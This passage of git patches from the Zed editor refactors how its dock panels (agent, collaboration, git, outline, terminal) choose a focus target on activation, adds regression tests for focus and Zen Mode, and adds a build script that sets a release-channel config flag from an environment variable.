 crates/workspace/src/dock.rs                  |  49 +++++-
 crates/workspace/src/multi_workspace.rs       |   2 +-
 crates/workspace/src/workspace.rs             |  53 +++++-
 11 files changed, 343 insertions(+), 74 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 51bf65207f7879..0a147aa1a4fb83 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2951,7 +2951,7 @@ impl AgentPanel {
         if let BaseView::AgentThread { conversation_view } = &self.base_view {
             if conversation_view.entity_id() == draft.entity_id() {
                 if focus {
-                    self.focus_handle(cx).focus(window, cx);
+                    self.activation_focus_handle(cx).focus(window, cx);
                 }
                 return;
             }
@@ -3545,7 +3545,7 @@ impl AgentPanel {
 
         active_thread.update(cx, |active_thread, cx| {
             active_thread.expand_message_editor(&ExpandMessageEditor, window, cx);
-            active_thread.focus_handle(cx).focus(window, cx);
+            active_thread.activation_focus_handle(cx).focus(window, cx);
         })
     }
 
@@ -3659,7 +3659,7 @@ impl AgentPanel {
             cx.emit(PanelEvent::ZoomOut);
         } else {
             if !self.focus_handle(cx).contains_focused(window, cx) {
-                cx.focus_self(window);
+                self.activation_focus_handle(cx).focus(window, cx);
             }
             cx.emit(PanelEvent::ZoomIn);
         }
@@ -4233,7 +4233,7 @@ impl AgentPanel {
         self.refresh_base_view_subscriptions(window, cx);
 
         if focus {
-            self.focus_handle(cx).focus(window, cx);
+            self.activation_focus_handle(cx).focus(window, cx);
         }
         cx.emit(AgentPanelEvent::ActiveViewChanged);
     }
@@ -4923,12 +4923,8 @@ impl agent::SiblingThreadHost for AgentPanelSiblingHost {
 }
 
 impl Focusable for AgentPanel {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        match self.visible_surface() {
-            VisibleSurface::Uninitialized => self.focus_handle.clone(),
-            VisibleSurface::AgentThread(conversation_view) => conversation_view.focus_handle(cx),
-            VisibleSurface::Terminal(terminal_view) => terminal_view.focus_handle(cx),
-        }
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
     }
 }
 
@@ -4956,6 +4952,16 @@ impl Panel for AgentPanel {
         AGENT_PANEL_KEY
     }
 
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        match self.visible_surface() {
+            VisibleSurface::Uninitialized => self.focus_handle.clone(),
+            VisibleSurface::AgentThread(conversation_view) => {
+                conversation_view.read(cx).activation_focus_handle(cx)
+            }
+            VisibleSurface::Terminal(terminal_view) => terminal_view.focus_handle(cx),
+        }
+    }
+
     fn position(&self, _window: &Window, cx: &App) -> DockPosition {
         agent_panel_dock_position(cx)
     }
@@ -5355,7 +5361,10 @@ impl AgentPanel {
                                 let conversation_view = conversation_view.downgrade();
                                 move |_: &menu::Confirm, window, cx| {
                                     if let Some(conversation_view) = conversation_view.upgrade() {
-                                        conversation_view.focus_handle(cx).focus(window, cx);
+                                        conversation_view
+                                            .read(cx)
+                                            .activation_focus_handle(cx)
+                                            .focus(window, cx);
                                     }
                                 }
                             })
@@ -5363,7 +5372,10 @@ impl AgentPanel {
                                 let conversation_view = conversation_view.downgrade();
                                 move |_: &editor::actions::Cancel, window, cx| {
                                     if let Some(conversation_view) = conversation_view.upgrade() {
-                                        conversation_view.focus_handle(cx).focus(window, cx);
+                                        conversation_view
+                                            .read(cx)
+                                            .activation_focus_handle(cx)
+                                            .focus(window, cx);
                                     }
                                 }
                             })
@@ -6440,6 +6452,7 @@ impl Render for AgentPanel {
             .relative()
             .size_full()
             .justify_between()
+            .track_focus(&self.focus_handle)
             .bg(cx.theme().colors().panel_background)
             .on_action(cx.listener(|this, action: &NewThread, window, cx| {
                 this.new_thread(action, window, cx);
@@ -6820,7 +6833,7 @@ mod tests {
     use anyhow::{Result, anyhow};
     use feature_flags::FeatureFlagAppExt;
     use fs::FakeFs;
-    use gpui::{App, TestAppContext, UpdateGlobal, VisualTestContext};
+    use gpui::{App, Modifiers, TestAppContext, UpdateGlobal, VisualTestContext, px, size};
     use parking_lot::Mutex;
     use project::{Project, WorktreePaths};
     use settings::{SettingsStore, WorkingDirectory};
@@ -7021,6 +7034,121 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    async fn test_clicking_tool_call_output_keeps_agent_panel_focused_and_zoomed(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        cx.update(|cx| {
+            agent::ThreadStore::init_global(cx);
+            language_model::LanguageModelRegistry::test(cx);
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let multi_workspace =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace
+            .read_with(cx, |multi_workspace, _cx| {
+                multi_workspace.workspace().clone()
+            })
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(multi_workspace.into(), cx);
+        cx.simulate_resize(size(px(900.), px(700.)));
+
+        let connection = StubAgentConnection::new();
+        let panel = workspace.update_in(cx, |workspace, window, cx| {
+            let panel = cx.new(|cx| AgentPanel::new(workspace, window, cx));
+            workspace.add_panel(panel.clone(), window, cx);
+            workspace.focus_panel::<AgentPanel>(window, cx);
+            panel
+        });
+        open_thread_with_connection(&panel, connection.clone(), cx);
+
+        let session_id = active_session_id(&panel, cx);
+        let tool_call_id = acp::ToolCallId::new("tool-call-output-focus-regression");
+        cx.update(|_window, cx| {
+            connection.send_update(
+                session_id.clone(),
+                acp::SessionUpdate::ToolCall(
+                    acp::ToolCall::new(tool_call_id.clone(), "Read file")
+                        .kind(acp::ToolKind::Fetch)
+                        .status(acp::ToolCallStatus::InProgress),
+                ),
+                cx,
+            );
+            connection.send_update(
+                session_id,
+                acp::SessionUpdate::ToolCallUpdate(acp::ToolCallUpdate::new(
+                    tool_call_id.clone(),
+                    acp::ToolCallUpdateFields::new()
+                        .status(acp::ToolCallStatus::Completed)
+                        .content(vec![acp::ToolCallContent::Content(acp::Content::new(
+                            acp::ContentBlock::Text(acp::TextContent::new(
+                                "tool output text".to_string(),
+                            )),
+                        ))]),
+                )),
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let thread_view = panel.read_with(cx, |panel, cx| panel.active_thread_view(cx).unwrap());
+        thread_view.update(cx, |thread_view, cx| {
+            thread_view.entry_view_state.update(cx, |state, _cx| {
+                state.expand_tool_call(tool_call_id);
+            });
+            cx.notify();
+        });
+
+        panel.update_in(cx, |panel, window, cx| {
+            panel.toggle_zoom(&ToggleZoom, window, cx);
+        });
+
+        // The thread receives only tool-call updates, so entry index 0 should remain stable.
+        let output_bounds = cx
+            .debug_bounds("tool-call-output-0-0")
+            .expect("tool call output should be rendered");
+        cx.simulate_click(output_bounds.center(), Modifiers::default());
+        cx.run_until_parked();
+
+        panel.update_in(cx, |panel, window, cx| {
+            assert!(
+                panel.focus_handle(cx).contains_focused(window, cx),
+                "clicking tool call output should keep focus within the agent panel"
+            );
+            assert!(
+                panel.is_zoomed(window, cx),
+                "clicking tool call output should not close Zen Mode"
+            );
+        });
+
+        let title_editor_focus_handle = panel.read_with(cx, |panel, cx| {
+            panel
+                .active_thread_view(cx)
+                .expect("active thread view should be present")
+                .read(cx)
+                .title_editor
+                .focus_handle(cx)
+        });
+        cx.update(|window, cx| {
+            title_editor_focus_handle.focus(window, cx);
+        });
+        cx.run_until_parked();
+
+        panel.update_in(cx, |panel, window, cx| {
+            assert!(
+                panel.focus_handle(cx).contains_focused(window, cx),
+                "focusing the thread title editor should keep focus within the agent panel"
+            );
+            assert!(
+                panel.is_zoomed(window, cx),
+                "focusing the thread title editor should not close Zen Mode"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_active_thread_serialize_and_load_round_trip(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 35f0e70b095909..1d0276c4d9b6a2 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -707,7 +707,7 @@ impl ConversationView {
 
         connected.navigate_to_thread(session_id);
         if let Some(view) = self.active_thread() {
-            view.focus_handle(cx).focus(window, cx);
+            view.read(cx).activation_focus_handle(cx).focus(window, cx);
         }
         cx.emit(AcpServerViewEvent::ActiveThreadChanged);
         cx.notify();
@@ -3333,6 +3333,14 @@ impl Focusable for ConversationView {
     }
 }
 
+impl ConversationView {
+    pub(crate) fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        self.active_thread()
+            .map(|thread| thread.read(cx).activation_focus_handle(cx))
+            .unwrap_or_else(|| self.focus_handle.clone())
+    }
+}
+
 #[cfg(any(test, feature = "test-support"))]
 impl ConversationView {
     /// Expands a tool call so its content is visible.
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 469e88a53004c8..004084c8e5256a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -647,7 +647,13 @@ pub struct ThreadView {
     pub(crate) thread_search_visible: bool,
 }
 impl Focusable for ThreadView {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
+    }
+}
+
+impl ThreadView {
+    pub(crate) fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
         if self.parent_session_id.is_some() {
             self.focus_handle.clone()
         } else {
@@ -2057,7 +2063,7 @@ impl ThreadView {
             this.update_in(cx, |thread, window, cx| {
                 cx.emit(AcpThreadViewEvent::Interacted);
                 thread.send_impl(message_editor, window, cx);
-                thread.focus_handle(cx).focus(window, cx);
+                thread.activation_focus_handle(cx).focus(window, cx);
             })?;
             anyhow::Ok(())
         })
@@ -8356,8 +8362,13 @@ impl ThreadView {
                             .iter()
                             .enumerate()
                             .map(|(content_ix, content)| {
-                                div().id(("tool-call-output", entry_ix)).child(
-                                    self.render_tool_call_content(
+                                let output_id = SharedString::from(format!(
+                                    "tool-call-output-{entry_ix}-{content_ix}"
+                                ));
+                                div()
+                                    .id(output_id.clone())
+                                    .debug_selector(move || output_id.to_string())
+                                    .child(self.render_tool_call_content(
                                         active_session_id,
                                         entry_ix,
                                         content,
@@ -8368,8 +8379,7 @@ impl ThreadView {
                                         focus_handle,
                                         window,
                                         cx,
-                                    ),
-                                )
+                                    ))
                             }),
                     )
                     .when(!use_card_layout, |this| {
diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 444030f9965129..83f9e46f71d259 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -6,7 +6,7 @@ use crate::{CollaborationPanelSettings, channel_view::ChannelView};
 use anyhow::Context as _;
 use call::ActiveCall;
 use channel::{Channel, ChannelEvent, ChannelStore};
-use client::{ChannelId, Client, Contact, Notification, User, UserStore};
+use client::{ChannelId, Client, Contact, Notification, Status, User, UserStore};
 use collections::{HashMap, HashSet};
 use contact_finder::ContactFinder;
 use db::kvp::KeyValueStore;
@@ -350,6 +350,17 @@ enum ListEntry {
 }
 
 impl CollabPanel {
+    fn is_collaboration_disabled_by_organization(&self, cx: &App) -> bool {
+        self.user_store
+            .read(cx)
+            .current_organization_configuration()
+            .is_some_and(|config| !config.is_collaboration_enabled)
+    }
+
+    fn is_signed_in_view_visible(status: Status, is_collaboration_disabled: bool) -> bool {
+        !is_collaboration_disabled && status.is_or_was_connected() && !status.is_signing_in()
+    }
+
     pub fn new(
         workspace: &mut Workspace,
         window: &mut Window,
@@ -1486,7 +1497,7 @@ impl CollabPanel {
                 if this.context_menu.as_ref().is_some_and(|context_menu| {
                     context_menu.0.focus_handle(cx).contains_focused(window, cx)
                 }) {
-                    cx.focus_self(window);
+                    this.activation_focus_handle(cx).focus(window, cx);
                 }
                 this.context_menu.take();
                 cx.notify();
@@ -1670,7 +1681,7 @@ impl CollabPanel {
                 if this.context_menu.as_ref().is_some_and(|context_menu| {
                     context_menu.0.focus_handle(cx).contains_focused(window, cx)
                 }) {
-                    cx.focus_self(window);
+                    this.activation_focus_handle(cx).focus(window, cx);
                 }
                 this.context_menu.take();
                 cx.notify();
@@ -1738,7 +1749,7 @@ impl CollabPanel {
                 if this.context_menu.as_ref().is_some_and(|context_menu| {
                     context_menu.0.focus_handle(cx).contains_focused(window, cx)
                 }) {
-                    cx.focus_self(window);
+                    this.activation_focus_handle(cx).focus(window, cx);
                 }
                 this.context_menu.take();
                 this.contact_context_menu.take();
@@ -1972,7 +1983,7 @@ impl CollabPanel {
                     cx.notify();
                 }
             }
-            cx.focus_self(window);
+            self.activation_focus_handle(cx).focus(window, cx);
             true
         } else {
             false
@@ -2039,7 +2050,7 @@ impl CollabPanel {
         self.serialize(cx);
         self.update_entries(true, cx);
         cx.notify();
-        cx.focus_self(window);
+        self.activation_focus_handle(cx).focus(window, cx);
     }
 
     fn is_channel_collapsed(&self, channel_id: ChannelId) -> bool {
@@ -2549,8 +2560,10 @@ impl CollabPanel {
                         .update(cx, |channels, _| channels.remove_channel(channel_id))
                         .await
                         .notify_workspace_async_err(workspace, &mut cx);
-                    this.update_in(cx, |_, window, cx| cx.focus_self(window))
-                        .ok();
+                    this.update_in(cx, |this, window, cx| {
+                        this.activation_focus_handle(cx).focus(window, cx);
+                    })
+                    .ok();
                 }
                 anyhow::Ok(())
             })
@@ -3853,11 +3866,9 @@ impl Render for CollabPanel {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let status = *self.client.status().borrow();
 
-        let is_collaboration_disabled = self
-            .user_store
-            .read(cx)
-            .current_organization_configuration()
-            .is_some_and(|config| !config.is_collaboration_enabled);
+        let is_collaboration_disabled = self.is_collaboration_disabled_by_organization(cx);
+        let is_signed_in_view_visible =
+            Self::is_signed_in_view_visible(status, is_collaboration_disabled);
 
         v_flex()
             .key_context(self.dispatch_context(window, cx))
@@ -3880,10 +3891,10 @@ impl Render for CollabPanel {
             .size_full()
             .child(if is_collaboration_disabled {
                 self.render_disabled_by_organization(cx)
-            } else if !status.is_or_was_connected() || status.is_signing_in() {
-                self.render_signed_out(cx)
-            } else {
+            } else if is_signed_in_view_visible {
                 self.render_signed_in(window, cx)
+            } else {
+                self.render_signed_out(cx)
             })
             .children(self.context_menu.as_ref().map(|(menu, position, _)| {
                 deferred(
@@ -3900,6 +3911,17 @@ impl Render for CollabPanel {
 impl EventEmitter<PanelEvent> for CollabPanel {}
 
 impl Panel for CollabPanel {
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        let status = *self.client.status().borrow();
+        let is_collaboration_disabled = self.is_collaboration_disabled_by_organization(cx);
+
+        if Self::is_signed_in_view_visible(status, is_collaboration_disabled) {
+            self.filter_editor.focus_handle(cx)
+        } else {
+            self.focus_handle.clone()
+        }
+    }
+
     fn position(&self, _window: &Window, cx: &App) -> DockPosition {
         CollaborationPanelSettings::get_global(cx).dock
     }
@@ -3972,8 +3994,8 @@ impl Panel for CollabPanel {
 }
 
 impl Focusable for CollabPanel {
-    fn focus_handle(&self, cx: &App) -> gpui::FocusHandle {
-        self.filter_editor.focus_handle(cx)
+    fn focus_handle(&self, _cx: &App) -> gpui::FocusHandle {
+        self.focus_handle.clone()
     }
 }
 
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 8b9a790a708214..46fd0949dff1a2 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -7321,7 +7321,7 @@ impl GitPanel {
                         .focus_handle(cx)
                         .contains_focused(window, cx)
                 }) {
-                    cx.focus_self(window);
+                    this.activation_focus_handle(cx).focus(window, cx);
                 }
                 this.context_menu.take();
                 cx.notify();
@@ -8166,12 +8166,8 @@ impl Render for GitPanel {
 }
 
 impl Focusable for GitPanel {
-    fn focus_handle(&self, cx: &App) -> gpui::FocusHandle {
-        if self.entries.is_empty() || self.commit_editor_expanded {
-            self.commit_editor.focus_handle(cx)
-        } else {
-            self.focus_handle.clone()
-        }
+    fn focus_handle(&self, _cx: &App) -> gpui::FocusHandle {
+        self.focus_handle.clone()
     }
 }
 
@@ -8205,6 +8201,14 @@ impl editor::Addon for GitPanelAddon {
 }
 
 impl Panel for GitPanel {
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        if self.entries.is_empty() || self.commit_editor_expanded {
+            self.commit_editor.focus_handle(cx)
+        } else {
+            self.focus_handle.clone()
+        }
+    }
+
     fn persistent_name() -> &'static str {
         "GitPanel"
     }
diff --git a/crates/git_ui/src/worktree_service.rs b/crates/git_ui/src/worktree_service.rs
index 4c840c466c274f..2425cbdf388192 100644
--- a/crates/git_ui/src/worktree_service.rs
+++ b/crates/git_ui/src/worktree_service.rs
@@ -1367,7 +1367,7 @@ async fn open_worktree_workspace(
                 if activate && let Some(dock_position) = focused_dock {
                     let dock = workspace.dock_at_position(dock_position);
                     if let Some(panel) = dock.read(cx).active_panel() {
-                        panel.panel_focus_handle(cx).focus(window, cx);
+                        panel.activation_focus_handle(cx).focus(window, cx);
                     }
                 }
             });
diff --git a/crates/outline_panel/src/outline_panel.rs b/crates/outline_panel/src/outline_panel.rs
index c880891502b8b7..2afbdf1f4c2c6c 100644
--- a/crates/outline_panel/src/outline_panel.rs
+++ b/crates/outline_panel/src/outline_panel.rs
@@ -4952,6 +4952,10 @@ fn file_name(path: &Path) -> String {
 }
 
 impl Panel for OutlinePanel {
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        self.filter_editor.focus_handle(cx)
+    }
+
     fn persistent_name() -> &'static str {
         "Outline Panel"
     }
@@ -5052,8 +5056,8 @@ impl Panel for OutlinePanel {
 }
 
 impl Focusable for OutlinePanel {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        self.filter_editor.focus_handle(cx)
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
     }
 }
 
diff --git a/crates/terminal_view/src/terminal_panel.rs b/crates/terminal_view/src/terminal_panel.rs
index c40f8f8d9af71a..be9bda6f79285c 100644
--- a/crates/terminal_view/src/terminal_panel.rs
+++ b/crates/terminal_view/src/terminal_panel.rs
@@ -77,6 +77,7 @@ pub fn init(cx: &mut App) {
 pub struct TerminalPanel {
     pub(crate) active_pane: Entity<Pane>,
     pub(crate) center: PaneGroup,
+    focus_handle: FocusHandle,
     fs: Arc<dyn Fs>,
     workspace: WeakEntity<Workspace>,
     pending_serialization: Task<Option<()>>,
@@ -94,6 +95,7 @@ impl TerminalPanel {
         let terminal_panel = Self {
             center,
             active_pane: pane,
+            focus_handle: cx.focus_handle(),
             fs: workspace.app_state().fs.clone(),
             workspace: workspace.weak_handle(),
             pending_serialization: Task::ready(None),
@@ -1372,20 +1374,23 @@ impl Render for TerminalPanel {
             .unwrap_or_else(div);
         self.workspace
             .update(cx, |workspace, cx| {
-                registrar.size_full().child(self.center.render(
-                    workspace.zoomed_item(),
-                    None,
-                    &workspace::PaneRenderContext {
-                        follower_states: &HashMap::default(),
-                        active_call: workspace.active_call(),
-                        active_pane: &self.active_pane,
-                        app_state: workspace.app_state(),
-                        project: workspace.project(),
-                        workspace: &workspace.weak_handle(),
-                    },
-                    window,
-                    cx,
-                ))
+                registrar
+                    .track_focus(&self.focus_handle)
+                    .size_full()
+                    .child(self.center.render(
+                        workspace.zoomed_item(),
+                        None,
+                        &workspace::PaneRenderContext {
+                            follower_states: &HashMap::default(),
+                            active_call: workspace.active_call(),
+                            active_pane: &self.active_pane,
+                            app_state: workspace.app_state(),
+                            project: workspace.project(),
+                            workspace: &workspace.weak_handle(),
+                        },
+                        window,
+                        cx,
+                    ))
             })
             .ok()
             .map(|div| {
@@ -1531,12 +1536,16 @@ impl Render for TerminalPanel {
 }
 
 impl Focusable for TerminalPanel {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        self.active_pane.focus_handle(cx)
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
     }
 }
 
 impl Panel for TerminalPanel {
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        self.active_pane.focus_handle(cx)
+    }
+
     fn position(&self, _window: &Window, cx: &App) -> DockPosition {
         TerminalSettings::get_global(cx).dock.into()
     }
diff --git a/crates/workspace/src/dock.rs b/crates/workspace/src/dock.rs
index b61830d67e3d67..cf5dcc2faa9cc2 100644
--- a/crates/workspace/src/dock.rs
+++ b/crates/workspace/src/dock.rs
@@ -36,6 +36,14 @@ pub use proto::PanelId;
 pub trait Panel: Focusable + EventEmitter<PanelEvent> + Render + Sized {
     fn persistent_name() -> &'static str;
     fn panel_key() -> &'static str;
+    /// The `Focusable::focus_handle` root identifies the panel's subtree for containment checks
+    /// and must be tracked by the panel's root element. This method returns the handle that should
+    /// receive focus when the panel is activated, such as a filter, commit, or message editor; it
+    /// must be a focus-tree descendant of the root or containment checks such as Zen-mode auto-close
+    /// and toggle-focus will misbehave.
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        self.focus_handle(cx)
+    }
     fn position(&self, window: &Window, cx: &App) -> DockPosition;
     fn position_is_valid(&self, position: DockPosition) -> bool;
     fn set_position(&mut self, position: DockPosition, window: &mut Window, cx: &mut Context<Self>);
@@ -119,6 +127,8 @@ pub trait PanelHandle: Send + Sync {
     fn toggle_action(&self, window: &Window, cx: &App) -> Box<dyn Action>;
     fn icon_label(&self, window: &Window, cx: &App) -> Option<String>;
     fn panel_focus_handle(&self, cx: &App) -> FocusHandle;
+    /// See `Panel::activation_focus_handle`.
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle;
     fn to_any(&self) -> AnyView;
     fn activation_priority(&self, cx: &App) -> u32;
     fn enabled(&self, cx: &App) -> bool;
@@ -241,6 +251,10 @@ where
         self.read(cx).focus_handle(cx)
     }
 
+    fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+        self.read(cx).activation_focus_handle(cx)
+    }
+
     fn activation_priority(&self, cx: &App) -> u32 {
         self.read(cx).activation_priority()
     }
@@ -401,7 +415,10 @@ impl Dock {
             let focus_subscription =
                 cx.on_focus(&focus_handle, window, |dock: &mut Dock, window, cx| {
                     if let Some(active_entry) = dock.active_panel_entry() {
-                        active_entry.panel.panel_focus_handle(cx).focus(window, cx)
+                        active_entry
+                            .panel
+                            .activation_focus_handle(cx)
+                            .focus(window, cx)
                     }
                 });
             let zoom_subscription = cx.subscribe(&workspace, |dock, workspace, e: &Event, cx| {
@@ -662,7 +679,7 @@ impl Dock {
                         this.set_panel_zoomed(&panel.to_any(), true, window, cx);
                         if !PanelHandle::panel_focus_handle(panel, cx).contains_focused(window, cx)
                         {
-                            window.focus(&panel.focus_handle(cx), cx);
+                            window.focus(&panel.read(cx).activation_focus_handle(cx), cx);
                         }
                         workspace
                             .update(cx, |workspace, cx| {
@@ -694,7 +711,7 @@ impl Dock {
                         {
                             this.set_open(true, window, cx);
                             this.activate_panel(ix, window, cx);
-                            window.focus(&panel.read(cx).focus_handle(cx), cx);
+                            window.focus(&panel.read(cx).activation_focus_handle(cx), cx);
                         }
                     }
                     PanelEvent::Close => {
@@ -1433,6 +1450,7 @@ pub mod test {
         pub zoomed: bool,
         pub active: bool,
         pub focus_handle: FocusHandle,
+        pub activation_focus_handle: Option<FocusHandle>,
         pub default_size: Pixels,
         pub flexible: bool,
         pub activation_priority: u32,
@@ -1448,6 +1466,7 @@ pub mod test {
                 zoomed: false,
                 active: false,
                 focus_handle: cx.focus_handle(),
+                activation_focus_handle: None,
                 default_size: px(300.),
                 flexible: false,
                 activation_priority,
@@ -1464,15 +1483,37 @@ pub mod test {
                 ..Self::new(position, activation_priority, cx)
             }
         }
+
+        pub fn new_with_activation_child(
+            position: DockPosition,
+            activation_priority: u32,
+            cx: &mut App,
+        ) -> Self {
+            Self {
+                activation_focus_handle: Some(cx.focus_handle()),
+                ..Self::new(position, activation_priority, cx)
+            }
+        }
     }
 
     impl Render for TestPanel {
         fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-            div().id("test").track_focus(&self.focus_handle(cx))
+            div()
+                .id("test")
+                .track_focus(&self.focus_handle(cx))
+                .children(self.activation_focus_handle.iter().map(|focus_handle| {
+                    div().id("test-activation-child").track_focus(focus_handle)
+                }))
         }
     }
 
     impl Panel for TestPanel {
+        fn activation_focus_handle(&self, cx: &App) -> FocusHandle {
+            self.activation_focus_handle
+                .clone()
+                .unwrap_or_else(|| self.focus_handle(cx))
+        }
+
         fn persistent_name() -> &'static str {
             "TestPanel"
         }
diff --git a/crates/workspace/src/multi_workspace.rs b/crates/workspace/src/multi_workspace.rs
index 49b19bd13455da..5710577fbceae7 100644
--- a/crates/workspace/src/multi_workspace.rs
+++ b/crates/workspace/src/multi_workspace.rs
@@ -1696,7 +1696,7 @@ impl MultiWorkspace {
                 if dock.is_open() {
                     if let Some(panel) = dock.active_panel() {
                         if panel.is_zoomed(window, cx) {
-                            target = Some(panel.panel_focus_handle(cx));
+                            target = Some(panel.activation_focus_handle(cx));
                             break;
                         }
                     }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index d4c1d3c4e20355..573e01dd097c20 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -4205,8 +4205,8 @@ impl Workspace {
                         focus_center = true;
                     }
                 } else {
-                    let focus_handle = &active_panel.panel_focus_handle(cx);
-                    window.focus(focus_handle, cx);
+                    let focus_handle = active_panel.activation_focus_handle(cx);
+                    window.focus(&focus_handle, cx);
                     reveal_dock = true;
                 }
             }
@@ -4407,7 +4407,7 @@ impl Workspace {
                     if let Some(panel) = panel.as_ref() {
                         if should_focus(&**panel, window, cx) {
                             dock.set_open(true, window, cx);
-                            panel.panel_focus_handle(cx).focus(window, cx);
+                            panel.activation_focus_handle(cx).focus(window, cx);
                         } else {
                             focus_center = true;
                         }
@@ -5395,7 +5395,7 @@ impl Workspace {
                 window.defer(cx, move |window, cx| {
                     let dock = dock.read(cx);
                     if let Some(panel) = dock.active_panel() {
-                        panel.panel_focus_handle(cx).focus(window, cx);
+                        panel.activation_focus_handle(cx).focus(window, cx);
                     } else {
                         log::error!("Could not find a focus target when in switching focus in {direction} direction for a {:?} dock", dock.position());
                     }
@@ -8184,7 +8184,7 @@ impl Workspace {
         fn dock_content_handle(dock: &Entity<Dock>, cx: &App) -> FocusHandle {
             let dock = dock.read(cx);
             dock.active_panel()
-                .map(|panel| panel.panel_focus_handle(cx))
+                .map(|panel| panel.activation_focus_handle(cx))
                 .unwrap_or_else(|| dock.focus_handle(cx))
         }
 
@@ -13427,6 +13427,49 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_panel_activation_and_region_navigation_focus_activation_handle(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+
+        let project = Project::test(fs, [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        let panel = workspace.update_in(cx, |workspace, window, cx| {
+            let panel =
+                cx.new(|cx| TestPanel::new_with_activation_child(DockPosition::Right, 100, cx));
+            workspace.add_panel(panel.clone(), window, cx);
+            panel
+        });
+        cx.run_until_parked();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_panel_focus::<TestPanel>(window, cx);
+        });
+
+        let activation_focus_handle = workspace.update_in(cx, |_workspace, window, cx| {
+            let activation_focus_handle = panel
+                .read(cx)
+                .activation_focus_handle
+                .clone()
+                .expect("test panel should have an activation child");
+            assert!(activation_focus_handle.is_focused(window));
+            assert!(panel.read(cx).focus_handle(cx).contains_focused(window, cx));
+            activation_focus_handle
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.active_pane().focus_handle(cx).focus(window, cx);
+            workspace.move_part_focus(true, window, cx);
+        });
+        workspace.update_in(cx, |_workspace, window, _cx| {
+            assert!(activation_focus_handle.is_focused(window));
+        });
+    }
+
     #[gpui::test]
     async fn test_close_panel_on_toggle(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From b25d3eeeca0475d9fae7e22a466321be1b593f1b Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Mon, 27 Jul 2026 19:20:35 +0100
Subject: [PATCH 723/772] release_channel: Allow compile time overrides that
 don't use `include_str!` (#61731)

Some crates in zed use `include_str!("../../zed/RELEASE_CHANNEL")`,
which breaks when used as a dependency in a crane nix build (each crate
is built in isolation).

This adds a compile time env var to skip that check, which allows crates
in the zed repo to be used as dependencies in a crane build.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/release_channel/build.rs   | 11 +++++++++++
 crates/release_channel/src/lib.rs | 20 +++++++++++++++++---
 2 files changed, 28 insertions(+), 3 deletions(-)
 create mode 100644 crates/release_channel/build.rs

diff --git a/crates/release_channel/build.rs b/crates/release_channel/build.rs
new file mode 100644
index 00000000000000..d87a475f1c2aad
--- /dev/null
+++ b/crates/release_channel/build.rs
@@ -0,0 +1,11 @@
+fn main() {
+    println!("cargo::rustc-check-cfg=cfg(__do_not_set_zed_release_channel)");
+    println!("cargo::rerun-if-env-changed=ZED_RELEASE_CHANNEL");
+
+    // Enabling this `cfg` will cause a runtime panic if the
+    // `ZED_RELEASE_CHANNEL` env var is not also set. TLDR: don't set the `cfg`
+    // directly, just set the env var (hence the name).
+    if std::env::var("ZED_RELEASE_CHANNEL").is_ok() {
+        println!("cargo::rustc-cfg=__do_not_set_zed_release_channel");
+    }
+}
